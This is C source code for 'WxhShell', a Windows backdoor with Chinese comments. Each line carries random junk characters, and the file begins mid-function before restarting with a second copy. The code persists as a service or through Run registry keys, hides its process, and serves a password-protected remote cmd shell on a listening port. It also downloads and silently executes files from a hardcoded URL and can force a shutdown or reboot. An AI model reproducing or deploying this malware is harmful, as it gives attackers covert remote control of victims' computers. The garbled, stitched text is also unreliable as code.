    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); PKR0y%Ar  
    if(Boot(SHUTDOWN)) $EbxV"b+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L`YnrDZK  
    else { e| (jv<~r  
    closesocket(wsh); YH^_d3A;  
    ExitThread(0); Dn _D6H  
    } $=$I^hV  
    break; ]nN']?{7PW  
    } EA2BN}  
  // 获取shell D5)qmu  
  case 's': { __c:$7B/4U  
    CmdShell(wsh); 1 ,oC:N  
    closesocket(wsh); ,JT|E~P?8  
    ExitThread(0); Mk= tS+  
    break; h[3N/yP  
  } C81+nR  
  // 退出 \~Zj](#  
  case 'x': { .G1NY1\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); KO<fN,DR  
    CloseIt(wsh); %96JH YcX  
    break; q|om^:n.  
    } aZ2liR\QE  
  // 离开 JiP]F J;  
  case 'q': { '/SMqmi  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q<zL;AJ  
    closesocket(wsh); YWM$%   
    WSACleanup(); @g[p>t> *  
    exit(1); 7*OO k"9  
    break; Gu~y/CE'  
        } eg) =^b  
  } M9]O!{ sq  
  } `?rPs8+R  
X.xp'/d  
  // 提示信息 Y:G6Nd VFM  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )rz4IfE  
} G=!Y~qg  
  } l},*^Sn<5  
5bv(J  T  
  return; kX\t0'=]  
} v@`#!iu  
*f.eyg#  
// shell模块句柄 ;%]Q%7  
int CmdShell(SOCKET sock) j)C%zzBu(  
{ sL~TV([6/  
STARTUPINFO si; CCp{ZH s  
ZeroMemory(&si,sizeof(si)); ~y_TT5+ 3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]&yO>\MgJB  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e<l Wel  
PROCESS_INFORMATION ProcessInfo; W )q^@6[d  
char cmdline[]="cmd"; E92dSLhs5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =i Rc&  
  return 0; wX#=l?,K  
} ~!,'z  
`9s5 *;Z  
// 自身启动模式 x<P$$G/  
int StartFromService(void) E0>4Q\n{  
{ 8G1Tpn  
typedef struct /^DDU!=(<  
{ P00d#6hPJ  
  DWORD ExitStatus; QSAz:Yvf|  
  DWORD PebBaseAddress; Bg"b,&/^u  
  DWORD AffinityMask; 0DIaXdOdW+  
  DWORD BasePriority; @&S4j]rq  
  ULONG UniqueProcessId; BGodrb1  
  ULONG InheritedFromUniqueProcessId; aQMET~A:  
}   PROCESS_BASIC_INFORMATION; u\ytiGO*  
=JOupw  
PROCNTQSIP NtQueryInformationProcess; WA8Qt\Q  
CP|N2rb  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; tKo ^A:M  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ZJ 8~f  
SBAq,F'  
  HANDLE             hProcess; `T{{wty  
  PROCESS_BASIC_INFORMATION pbi; ;q6: *H/  
#v=hiL  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nDkyo>t .  
  if(NULL == hInst ) return 0; R6h(mPYA  
+AtZltM i  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?Re@`f+*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S@z$,}Yc`<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {uL<$;#i  
E&#AX:  
  if (!NtQueryInformationProcess) return 0; 7cK#fh"hvg  
-F/"W  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Gz+Bk5#{  
  if(!hProcess) return 0; p=coOWOQ  
@%O"P9;s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a/NmM)  
9<.FwV >  
  CloseHandle(hProcess); G{knO?BK  
Nw+0b4{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ib*l{cxN  
if(hProcess==NULL) return 0; 5:hajXd  
?>1AT ==wI  
HMODULE hMod; mSY;hJi  
char procName[255]; e/r41  
unsigned long cbNeeded; '8 1M%KO  
o`+6E q0w  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); j_L 'Ztu3  
ivb&J4?y  
  CloseHandle(hProcess); 0F1 a  
ZK27^oG  
if(strstr(procName,"services")) return 1; // 以服务启动 oA(jtX[(  
=V5<>5"M?  
  return 0; // 注册表启动 VSx[{yn  
} ~x)Awdlu  
E&Pv:h,pV&  
// 主模块 e-ljwCD  
int StartWxhshell(LPSTR lpCmdLine) czi$&(N0w$  
{ glH&v8  
  SOCKET wsl; `4'v)!?  
BOOL val=TRUE; MSUkCWt!  
  int port=0; UAFl+d!  
  struct sockaddr_in door; KqP! ={>"  
]ctUl #j  
  if(wscfg.ws_autoins) Install(); L~"~C(g  
Lp 5LRw  
port=atoi(lpCmdLine); %Nwap~=H;  
(x@|6Sb  
if(port<=0) port=wscfg.ws_port; B[Fx2r`0  
W2O =dG`  
  WSADATA data; t4GG@`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @.yp IE\  
MRxzOs  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   b2aPo M=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Gw:8-bxS  
  door.sin_family = AF_INET; ;2(8&.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); EoD;'+d  
  door.sin_port = htons(port); ?[hIv6c  
Ck%nNy29  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SQDllG84E  
closesocket(wsl); f>k]{W Y  
return 1; -M2c8P:.b  
} ` Xc~'zG  
dZFf /BXU  
  if(listen(wsl,2) == INVALID_SOCKET) { @] uvpI!h  
closesocket(wsl); q(p]6Ha|  
return 1; OCnQSkj  
} St7ZyN1  
  Wxhshell(wsl); \HF|&@}hU  
  WSACleanup(); sMlY!3{I x  
O68/Hf1W  
return 0; ?){V7<'?y  
.K]n<+zW  
} qPDe;$J)  
X,y0 J  
// 以NT服务方式启动 [~m@'/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X31[  
{ \2KwF}[m  
DWORD   status = 0; 9dn~nnd'n  
  DWORD   specificError = 0xfffffff; 3B8\r}L  
FpN>T  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~,3+]ts='\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *`&4< >=n  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |l'BNuiU  
  serviceStatus.dwWin32ExitCode     = 0; 1vk& ;  
  serviceStatus.dwServiceSpecificExitCode = 0; EVZuwbO)|  
  serviceStatus.dwCheckPoint       = 0; m%hI@'  
  serviceStatus.dwWaitHint       = 0; 2XI%z4\)!  
D@A@5pvS  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); j ;}!Yn  
  if (hServiceStatusHandle==0) return; V<:scLm#OF  
TR}ztf[e  
status = GetLastError(); P7np -I*  
  if (status!=NO_ERROR) 3}*)EC  
{ O(q1R#n-}+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5q4sxY9T  
    serviceStatus.dwCheckPoint       = 0; kEiWE|  
    serviceStatus.dwWaitHint       = 0; K,_d/(T4  
    serviceStatus.dwWin32ExitCode     = status; 'b(V8x  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4+46z|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); s[6y|{&ze  
    return; q$IgkL  
  } H{qQ8 j)  
T6_LiB @  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <g9@iUOI  
  serviceStatus.dwCheckPoint       = 0; T7+_/ Qh  
  serviceStatus.dwWaitHint       = 0; xg*)o*?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); fP 4  
} a2Q_K2t  
))Q3;mI"  
// 处理NT服务事件,比如:启动、停止 ROH 2KSt  
VOID WINAPI NTServiceHandler(DWORD fdwControl) BhFyEY(  
{ JSO'. [N  
switch(fdwControl) -hv<8bC~4  
{ hHXTSk2  
case SERVICE_CONTROL_STOP: fu 0]BdM  
  serviceStatus.dwWin32ExitCode = 0; y*K]z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?mM6[\DFoT  
  serviceStatus.dwCheckPoint   = 0; ;F3#AO4(  
  serviceStatus.dwWaitHint     = 0; XNZW J  
  { \M(#FS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lxSCN6  
  } 2$S^3$k'  
  return; ..u2IdEu  
case SERVICE_CONTROL_PAUSE: BBkYc:B=SA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; EGD&/%aC  
  break; U_\3preF  
case SERVICE_CONTROL_CONTINUE: R>|)-"b( `  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *(c><N  
  break; P`ZYm  
case SERVICE_CONTROL_INTERROGATE: BZUA/;Hz &  
  break; Fqr}zR)  
}; XHX$Ur9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :>G3N+A)  
} ??MF8 uv  
U`25bb1W j  
// 标准应用程序主函数 A~Uqw8n$\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )cF1?2  
{ ccCe@1RI  
HW,2x}[  
// 获取操作系统版本 Lc0yLm  
OsIsNt=GetOsVer(); f*uD9l%/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }iu(-{Z  
heF<UMI  
  // 从命令行安装 uoX] #<1J  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6X1_NbC  
Q|3SYJf  
  // 下载执行文件 Po+tk5}''5  
if(wscfg.ws_downexe) { }3rWmo8V  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0nX.%2p#Je  
  WinExec(wscfg.ws_filenam,SW_HIDE); gJn_Z7MgJ  
} "?[7oI}c&  
$ 2/T]  
if(!OsIsNt) { =2BB ~\G+  
// 如果时win9x,隐藏进程并且设置为注册表启动 9S _N*wC.  
HideProc(); {1jywb }  
StartWxhshell(lpCmdLine); P2Or|_z  
} *, Mg  
else r]0UF0#  
  if(StartFromService()) 6Eu&%`  
  // 以服务方式启动 TAXl73j_CY  
  StartServiceCtrlDispatcher(DispatchTable); A \6Q*VhK  
else l}Fa-9_'  
  // 普通方式启动 XIrNT:h4  
  StartWxhshell(lpCmdLine); TLkJZ4}?Q  
JN{xh0*  
return 0; qL\*rYe<  
} E\%'/3o  
4-YXXi}  
ilyQ gEjC  
qZ39TTQ*p  
=========================================== te+5@k#t  
,Cj8{s&;  
V r0-/T  
jJ' LM>e  
&M,"%w!  
jgr2qSU C  
" `tCOe  
qwb`8o  
#include <stdio.h> OoFQ@zE7%  
#include <string.h> jZ'y_  
#include <windows.h> $j~oB:3n7  
#include <winsock2.h> EmDA\9~@R  
#include <winsvc.h> C+WHg-l  
#include <urlmon.h> J6!t"eB+  
WAj26";M(  
#pragma comment (lib, "Ws2_32.lib") GMw|@?:{  
#pragma comment (lib, "urlmon.lib") =](c7HEQf  
SZ9xj^"g  
#define MAX_USER   100 // 最大客户端连接数 6g ,U+~  
#define BUF_SOCK   200 // sock buffer }G8RJxy  
#define KEY_BUFF   255 // 输入 buffer PAe2 hJ  
cZRLYOC  
#define REBOOT     0   // 重启 -S=Zsr\  
#define SHUTDOWN   1   // 关机 %@! Vx  
n7vLw7  
#define DEF_PORT   5000 // 监听端口 !U"1ZsO)l  
@"}dbW<DV  
#define REG_LEN     16   // 注册表键长度 ?80@+y]  
#define SVC_LEN     80   // NT服务名长度 M} IRagm  
6TE R Q  
// 从dll定义API ?=<vC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Xu1l6jr_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #lyvb.;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9Byk/&$U  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~6'6v 8  
^uW!=%D  
// wxhshell配置信息 DytOS}/^9  
struct WSCFG { q{UP_6O F  
  int ws_port;         // 监听端口 VI%879Z\e  
  char ws_passstr[REG_LEN]; // 口令 2#'[\*2|N  
  int ws_autoins;       // 安装标记, 1=yes 0=no <69/ZI),Y{  
  char ws_regname[REG_LEN]; // 注册表键名  "7!K'i  
  char ws_svcname[REG_LEN]; // 服务名 OwP9=9};  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 nzDS  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 DYH-5yX7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y#PbC  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @A6\v+ih  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Do(7LidC5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [pbX_  
qH6DZ|  
}; @2 dp5  
Q8M&nf  
// default Wxhshell configuration r2.87  
struct WSCFG wscfg={DEF_PORT, v,RLN`CID  
    "xuhuanlingzhe", ,"PwNv  
    1, 8Es]WR5 ^  
    "Wxhshell", BzA(yCu$:  
    "Wxhshell", Ta!.oC[  
            "WxhShell Service", 76)(G/  
    "Wrsky Windows CmdShell Service", 6mEW*qp2F  
    "Please Input Your Password: ", 1 X2oz  
  1, xP'IyABx  
  "http://www.wrsky.com/wxhshell.exe", 44?5]C7  
  "Wxhshell.exe" hzPx8sO  
    }; nl5K1!1  
C3 0b}2  
// 消息定义模块 e=Kv[R'(M  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; OP2!lEs  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {H $\,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; GU'5`Yzd9  
char *msg_ws_ext="\n\rExit."; qPE(Lt1  
char *msg_ws_end="\n\rQuit."; ItKwB+my  
char *msg_ws_boot="\n\rReboot..."; %8$JL=c  
char *msg_ws_poff="\n\rShutdown..."; .2 UUU\/5  
char *msg_ws_down="\n\rSave to "; Lj(hk @  
nB,FJJ{kb  
char *msg_ws_err="\n\rErr!"; FEaf&'G]  
char *msg_ws_ok="\n\rOK!"; ) 0AE*S  
g,y`[dr  
char ExeFile[MAX_PATH]; ~c?yHpZx%  
int nUser = 0; 9aZ3W<N`M  
HANDLE handles[MAX_USER]; V.Xz n  
int OsIsNt; 8)"KPr63M  
2y_rsu\  
SERVICE_STATUS       serviceStatus; J-?\,N1R7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; L{^DZg|E  
//ZB B,[@  
// 函数声明 FN,0&D}`  
int Install(void); XN=<s;U  
int Uninstall(void);  h *%T2  
int DownloadFile(char *sURL, SOCKET wsh); K/\#FJno  
int Boot(int flag); 'b661,+d  
void HideProc(void); n#J$=@  
int GetOsVer(void); Vg \-^$  
int Wxhshell(SOCKET wsl); &@+K%qW[e  
void TalkWithClient(void *cs); 'R]Z9h  
int CmdShell(SOCKET sock); zZ32K@  
int StartFromService(void); k}lx!Ck  
int StartWxhshell(LPSTR lpCmdLine); )7j"OE  
g+k6pi*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Jh466; E  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); m]"YR_  
TdQ^^{SRp  
// 数据结构和表定义 M\v4{\2l0  
SERVICE_TABLE_ENTRY DispatchTable[] = "BFW&<1  
{ W^=89I4]  
{wscfg.ws_svcname, NTServiceMain}, )D[xY0Y~  
{NULL, NULL} :>3&"T.  
}; 3&y u  
C>K/C!5?  
// 自我安装 b$$XriD]  
int Install(void) J$EEpL  
{ GrQl3 Xi  
  char svExeFile[MAX_PATH]; 4l$8lYi  
  HKEY key; HJcZ~5jf  
  strcpy(svExeFile,ExeFile); so8-e  
/Hx0=I  
// 如果是win9x系统,修改注册表设为自启动 6op\g].P  
if(!OsIsNt) { I^ >zr.z A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;XtDz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S~TJF}[k^6  
  RegCloseKey(key); \!^o<$s.G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?x[>g!r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GecXMAa:2  
  RegCloseKey(key); >{??/fBd-  
  return 0; zp9 ?Ia  
    } '~2v/[<`}  
  } 3)-#yOr  
} B}FF |0<  
else { lLDHx3+  
Qdn:4yk  
// 如果是NT以上系统,安装为系统服务 (,TO|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3AL.UBj&}  
if (schSCManager!=0) 6,h<0j{  
{ 0=5i\*5 p  
  SC_HANDLE schService = CreateService 8)tyn'~i  
  ( g Q9ff,  
  schSCManager, $_ i41f[  
  wscfg.ws_svcname, UetmO`qju  
  wscfg.ws_svcdisp, Lg nGqIlx  
  SERVICE_ALL_ACCESS, Aa Ma9hvT!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , PaZYs~EO  
  SERVICE_AUTO_START, > @%!r  
  SERVICE_ERROR_NORMAL, -s1VlS/  
  svExeFile, p4Y 9$(X  
  NULL, eo80L  
  NULL, zKutx6=aj  
  NULL, 19vD(KC<  
  NULL, Zk[#B UA  
  NULL h`Mf;'P  
  ); [~o3S$C&7  
  if (schService!=0) QM]^@2rK2  
  { F)IP~BE-k  
  CloseServiceHandle(schService); : L>d]Hn  
  CloseServiceHandle(schSCManager); |eqDT,4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); DIRCP=5  
  strcat(svExeFile,wscfg.ws_svcname); k);!H+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -5[GX3h0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); x9e 9$ww}  
  RegCloseKey(key); E$wB bm  
  return 0; )'g vaT  
    } u& Fm}/x  
  } MI}D%n*  
  CloseServiceHandle(schSCManager); zyr6Tv61U  
} Uww^Sq  
} Bz{ g4!ku  
|(<L!6  
return 1; &)l:m.  
} ||4Dtg K  
Sf8d|R@O  
// 自我卸载 k.ZfjX"  
int Uninstall(void) cjXwOk1:s  
{ UPYM~c+}  
  HKEY key; p"@|2a  
9?8`" v  
if(!OsIsNt) { "ir*;|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E'G>'cW;x  
  RegDeleteValue(key,wscfg.ws_regname); qHCs{ u  
  RegCloseKey(key); 8(}sZ)6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J (h>  
  RegDeleteValue(key,wscfg.ws_regname); hqPn~Tq  
  RegCloseKey(key); n1Jz49[r  
  return 0; : [y(<TLw  
  } 4_<Uk  
} (=j!P*  
} o[#a}5Y  
else { "}! rM6 h  
3o>t ~Sfi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3p4?-Dd|_$  
if (schSCManager!=0) &}O!l'  
{ 3U)8P6Fz  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <Xx\F56zp  
  if (schService!=0) %5%Wo(W'  
  { 9f,:j  
  if(DeleteService(schService)!=0) { zwtsw[.  
  CloseServiceHandle(schService); nY)Pxahm7  
  CloseServiceHandle(schSCManager); 4:$>,D\  
  return 0; Q8y|:tb$Y  
  } }=a4uCE  
  CloseServiceHandle(schService); $4 Uy3C+6  
  } Gq/6{eRo\  
  CloseServiceHandle(schSCManager); &J$5+"/;X  
} rzDJH:W{2  
} Tm\[q  
N_D+d4@  
return 1; e-9unnk  
} : !3y>bP)  
 c^s>  
// 从指定url下载文件 yipD5,TC  
int DownloadFile(char *sURL, SOCKET wsh) S:/RYT"  
{ Cg pT(E\E  
  HRESULT hr; 5Q`n6x|  
char seps[]= "/"; /T[ICd2J  
char *token; Hs=N0Sk]j  
char *file; 1m;*fs  
char myURL[MAX_PATH]; b6&NzUt34V  
char myFILE[MAX_PATH]; aG_O N0g  
UUu-(H-J  
strcpy(myURL,sURL); 1Uk~m  
  token=strtok(myURL,seps); j#t8Krd] "  
  while(token!=NULL) Ch"8cl;Fm  
  { Wxau]uix  
    file=token; W'h0Zg  
  token=strtok(NULL,seps); + <9 eN  
  } {$YD-bqY  
s}9tK(4v  
GetCurrentDirectory(MAX_PATH,myFILE); PMhhPw]  
strcat(myFILE, "\\"); lk1Gs{(qhH  
strcat(myFILE, file); VHr7GAmU  
  send(wsh,myFILE,strlen(myFILE),0); bDBO+qA  
send(wsh,"...",3,0); dyiEK)$h  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8<g#$(a_E  
  if(hr==S_OK) |( 9#vt#  
return 0; zX [ r  
else F] ?@X  
return 1; m+2`"1IE[  
ITIj=!F*  
} }?]yxa~  
x X/s1(P  
// 系统电源模块 UlNfI}#X  
int Boot(int flag) RF~Ofi  
{ S=H_9io  
  HANDLE hToken; @D~+D@i$TW  
  TOKEN_PRIVILEGES tkp; wK'!xH^  
)HX:U0  
  if(OsIsNt) { fA_%8CjI  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Th^(f@.w  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); W .`Xm(y  
    tkp.PrivilegeCount = 1; PN"8 Y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; T3 9C lH  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^@`e  
if(flag==REBOOT) { /ggkb8<3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Fu4EEi  
  return 0; A ,-V$[;~D  
} w^])(  
else { :Wg-@d  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !w q4EV  
  return 0; pd d|n2q  
} R6`*4z S  
  } 8N% z9b  
  else { s=MT,  
if(flag==REBOOT) { /D0RC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9b1?W?"  
  return 0; cTM$ZNin  
} wW-Ab  
else { dFQ o  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V1<ow'^i  
  return 0; YMT8p\ #rp  
} WSQ[.C  
} A t{U~^  
=_[2n?9y  
return 1; czI{qi5N  
} {LP b))  
^] 6M["d/p  
// win9x进程隐藏模块 Jen%}\  
void HideProc(void) 6B#('gxO  
{ )u;JwFstX  
Q"%QQo}}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *(G&B\  
  if ( hKernel != NULL ) CM9XPr  
  { /HkFlfPd  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); # :#M{1I  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); D*\v0=P'?  
    FreeLibrary(hKernel); o~#f1$|Xn  
  } pz 7H To;p  
zsDocR   
return; (YwalfG {C  
} ?6f7ld5  
xYI;V7  
// 获取操作系统版本 >GXXjAIu/  
int GetOsVer(void) "(,2L,Zh  
{ o)&"Rf  
  OSVERSIONINFO winfo; U&P{?>{u  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]]TqP{H  
  GetVersionEx(&winfo); &vkjmiAS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) t0Zk-/s  
  return 1; ]tB@kBi "  
  else y<uAp  
  return 0; '^iUx,,ZQ  
} {~N3D4n^  
oQT2S>cm^  
// 客户端句柄模块 {,?ss$L  
int Wxhshell(SOCKET wsl) pYo=oI  
{ M-J<n>hl  
  SOCKET wsh; H(|AH;?ou  
  struct sockaddr_in client; >{5 p0  
  DWORD myID; NF+<#*1  
{6*#3m Kk  
  while(nUser<MAX_USER) l%~lz[  
{ CqFeF?xd8h  
  int nSize=sizeof(client); +C+<BzR~A.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); PD6_)PXn  
  if(wsh==INVALID_SOCKET) return 1; gCuAF$o  
A]o4Mf0>I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^m!_ 2_q  
if(handles[nUser]==0) 6L9, 'Bg  
  closesocket(wsh); G:IP? z]  
else #.._c?%4/  
  nUser++; W .I\J<=V  
  } w0w1PE-V=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); FhkkW W L  
O_;Dk W  
  return 0; IP3E9z_ L  
} bsS:"/?>  
T2FE+A]n9  
// 关闭 socket $t}<85YCQ  
void CloseIt(SOCKET wsh) 5Bjgr  
{ ' cBBt  
closesocket(wsh); +f|BiW  
nUser--; =*Z5!W'd  
ExitThread(0); ik.A1j9oN  
} {X~ gwoz  
i7*EbaYzUO  
// 客户端请求句柄 u92^(|  
void TalkWithClient(void *cs) YXW%]Uy+  
{ "=1;0uy]  
.}B(&*9,v  
  SOCKET wsh=(SOCKET)cs; +4))/` DA  
  char pwd[SVC_LEN]; ?r=jF)C<'  
  char cmd[KEY_BUFF]; T/1gI9 X  
char chr[1]; aUU7{o_Z  
int i,j; NSQp< m  
=elpH^N  
  while (nUser < MAX_USER) { z (?=Iv3  
a<~77~"4wn  
if(wscfg.ws_passstr) { PcT?<HU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "N?+VkZEv  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c!K]J  
  //ZeroMemory(pwd,KEY_BUFF); lQ'GX9hN@  
      i=0; N$>^g"6 o  
  while(i<SVC_LEN) { 'cix`l|^  
**3 z;58i  
  // 设置超时 2-N 'ya  
  fd_set FdRead; |yEa5rd?W  
  struct timeval TimeOut; @Fp_^5  
  FD_ZERO(&FdRead); 4db(<h  
  FD_SET(wsh,&FdRead); phnV7D(E  
  TimeOut.tv_sec=8; 6 5N~0t  
  TimeOut.tv_usec=0; !8NC# s  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^T"vX  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?']5dD  
!$-\;<bZw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fk1ASV<rN  
  pwd=chr[0]; Od4E x;F  
  if(chr[0]==0xd || chr[0]==0xa) { InXn%9]p]  
  pwd=0; jB{4\)  
  break; |KSy`lY-j>  
  } Bp8'pj;~  
  i++; s7Ub@  
    } QnZcBXI8  
Dn&D!B  
  // 如果是非法用户,关闭 socket $hivlI-7Ko  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z9FfU  
} :8CvRO*<  
%?e& WLS  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3s/H2f z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UfN&v >8f  
uwz)($~bp  
while(1) { }VS5gxI1.  
H,Z;=N_  
  ZeroMemory(cmd,KEY_BUFF); 5R(/Uiv3F  
='`/BY(m[  
      // 自动支持客户端 telnet标准   B!vmQR*1  
  j=0; fQ#l3@in  
  while(j<KEY_BUFF) { T:5fc2Ngv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U2bjFLd"  
  cmd[j]=chr[0]; 5$V_Hj  
  if(chr[0]==0xa || chr[0]==0xd) { anXc|  
  cmd[j]=0; /YZr~|65  
  break; -$\+' \  
  } WZ.@UN,  
  j++; "?V0$-DR  
    } spt6]"Ni  
Ney/[3 A  
  // 下载文件 O^oWG&Y;v  
  if(strstr(cmd,"http://")) { TWA-.>c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); xai*CY@cQ  
  if(DownloadFile(cmd,wsh)) ogyTO|V=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); BO;6 u^[  
  else 7Zlw^'q$:L  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /;oX)]W  
  } kqFP)!37  
  else { f|\onHI)>  
